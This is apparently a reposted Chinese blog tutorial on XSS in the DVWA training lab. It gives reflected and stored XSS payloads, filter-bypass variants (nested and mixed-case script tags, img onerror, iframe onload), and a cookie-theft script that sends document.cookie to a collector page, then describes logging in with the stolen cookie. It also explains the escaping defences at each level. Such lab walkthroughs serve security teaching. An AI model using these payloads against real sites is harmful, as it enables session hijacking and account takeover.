博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
1.4 DVWA亲测XSS漏洞
阅读量:4882 次
发布时间:2019-06-11

本文共 3782 字,大约阅读时间需要 12 分钟。

首先需要有配置好的DVWA环境,像下图这样
 

其中:     

XSS (DOM) :  DOM型XSS漏洞

XSS (Reflected) : 反射性XSS漏洞

 XSS (Stored) :  存储型XSS漏洞


 
我们先来看XSS(Reflected): 反射型的XSS漏洞
 
首先,我们选择LOW等级
XSS (Reflected) :
点击出现如图所示
我们先来输入 
xss  ,点击确定

我们接着来输入<xss> ,点击确定

这时发现插入html标签的话,页面会发生变化,我们尝试js弹窗

我们继续输入
<script>alert('xss')</script>,点击确定

这时说明这个网站可以进行XSS攻击,我们输入 <script>document.location='http://127.0.0.1/cookie.php?cookie='+document.cookie</script> ,就可以得到要攻击的人cookie信息

 
攻击过程总结:
 1.攻击者的web设计用来接收cookie,如下:
 
2.构造并发送攻击url:
http://127.0.0.1/DVWA/vulnerabilities/xss_r/?name=
注意:<script>document.location='http://127.0.0.1/cookie.php?cookie='+document.cookie;</script>需要进行
URLlencode的编码,否则不会攻击成功
 
3.得到cookie后,我们访问login.php 登陆页面,使用firebug里面的cookies,来编辑cookies
 

4.完成后,我们直接访问index.php,发现我们已经已被攻击者的身份登陆,可以赶我们想干的事情了



 
接下来我们选择Medium等级的XSS
XSS (Reflected) :
点击出现如图所示

我们先来输入<script>alert('xss')</script>  ,点击确定

 
发现已经失效,无法正常弹窗,<script>标签被过滤了,不过我们也有方法
1. <scri<script>pt>  应为过滤程序只会过滤一次,嵌套可以完美绕过。
输入<scr<script>ipt>alert('xss')</script>   

2.   <ScRiPt>   大小写混合绕过

输入
<ScRiPt >ipt>alert('xss')</ScRiPt >


 
接下来我们选择High等级的XSS
XSS (Reflected) :
点击出现如图所示

我们先来输入<script>alert('xss')</script>  ,点击确定

 
我们尝试嵌套,大小写,发现都是失效的
 
但是能够插入xss代码的标签并不只是<script>,
还有<img>标签,同样也可以
 
输入
<img src=x οnerrοr=alert('xss')>,点击确定
 

 

onerror事件会在文档或图像加载过程中发生错误时被触发
应为src=x本事就是一个错误代码,所以触发事件执行
 
还有<iframe>标签同样可以:
输入
<iframe οnlοad=alert('xss')>,点击确定
 

 

<iframe>标签可以在一个html代码中嵌入另一个html内容
onload 是js的一个事件,事件会在页面加载完成后,立即发生,同时执行被调用的程序。
                                        注意:1. 加载页面时,触发onload事件



接下来我们选择Impossible等级的XSS,当然这个等级是绝对安全的
XSS (Reflected) :
点击出现如图所示

我们先来输入<script>alert('xss')</script>  ,点击确定

 

发现代码原封不动的输出出来了,我们通过fire bug 查看元素

 
 
htmlspecialchars() 函数把预定义的字符转换为 HTML 实体
我们输入的符号都被转义了,使他们丧失了功能
 
查看后台代码
Hello ${name}";} // Generate Anti-CSRF tokengenerateSessionToken();?>
 
原来是htmlspecialchars()这个函数把符号给编码了
 

 
接下来让我们来看XSS(Stored): 存储型XSS漏洞

首先,我们选择LOW等级
点击出现如图所示

是留言板性质的

我们先来尝试输入

发现输入不完整,估计是后台的输入框限制了长度

 先查看源代码

果然不出所料

然后我们用火狐浏览器上的Tamper date 进行抓包改包

 

点击发送就可以成功绕过
 
或者我们可以用你黑客最常用的工具 burpsuite 就进行抓包:

然后改包:

 
 结果 :

 

 这样就简简单单突破限制
 

 
下面我们进入Middem等级
点击确定后

我们发现name中还是限制了字数,但在Low等级中我们已经列出解决办法,这里不再赘述

我们在Message表格中写入<script>alert('xss')</script>,发现如下图

发现<script>标签被过滤,此处我们也已经列出过解决办法,也不再赘述

抓包改包,用大小写混合的方法就可以成功绕过
 
我们看一下源代码:
', '', $name ); $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); // Update database $query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '
' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '
' ); //mysql_close();}?>

 

这代码不可谓不精细,message防注入做的很棒
 
addslashes() 函数返回在预定义字符之前添加反斜杠的字符串。
htmlspecialchars() 函数把预定义的字符转换为 HTML 实体
 

接下来我们进入High等级

 点击确定后

我们在Message处尝试输入<script>alert('xss')</script>

我们又遇到了meddiem的问题:
' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '' ); //mysql_close();}?>
发现name已经完全过滤了<script>,区分大小写,以前的方法都失效了
这时我们采取新办法,我们在name中输入 
<img src=x οnerrοr=alert('xss')>
发现成功绕过
 

接下来我们进入不可能注入的impossible等级

这时我们先来看代码

prepare( 'INSERT INTO guestbook ( comment, name ) VALUES ( :message, :name );' ); $data->bindParam( ':message', $message, PDO::PARAM_STR ); $data->bindParam( ':name', $name, PDO::PARAM_STR ); $data->execute();} // Generate Anti-CSRF tokengenerateSessionToken();?>
mysql_real_escape_string() 函数转义 SQL 语句中使用的字符串中的特殊字符。
下列字符受影响:
  • \x00
  • \n
  • \r
  • \
  • '
  • "
  • \x1a
如果成功,则该函数返回被转义的字符串。如果失败,则返回 false。
 
 

转载于:https://www.cnblogs.com/bmjoker/p/8806856.html

你可能感兴趣的文章
Nat Med:单独使用anti-CTLA4治疗前列腺癌效果差的原因
查看>>
Mycat(3)—— Linux 利用mycat实现mysql数据库读写分离
查看>>
泛型擦除
查看>>
jQuery控制form表单元素聚焦
查看>>
wpf+.net 4.5 surface2.0 = 异步多点触控 时间轴 part1
查看>>
[android]不解锁刷机
查看>>
Ural1519 Formula 1
查看>>
SQLite笔记
查看>>
SQL Server 收缩日志
查看>>
安装ubuntu10.10后,如何配置一个Apache+MySQL+PHP环境
查看>>
UIAlertView、 UIActionSheet
查看>>
TinyWS —— 一个C++写的简易WEB服务器(三)
查看>>
jsp+struts2登录框架模板
查看>>
Java安装
查看>>
luogu P3410 拍照
查看>>
Mysql单表查询(胖胖老师)
查看>>
Linux的基本命令(CentOS)
查看>>
超链接的几个样式
查看>>
asp.net mvc验证特性
查看>>
接口interface和抽象类型abstract
查看>>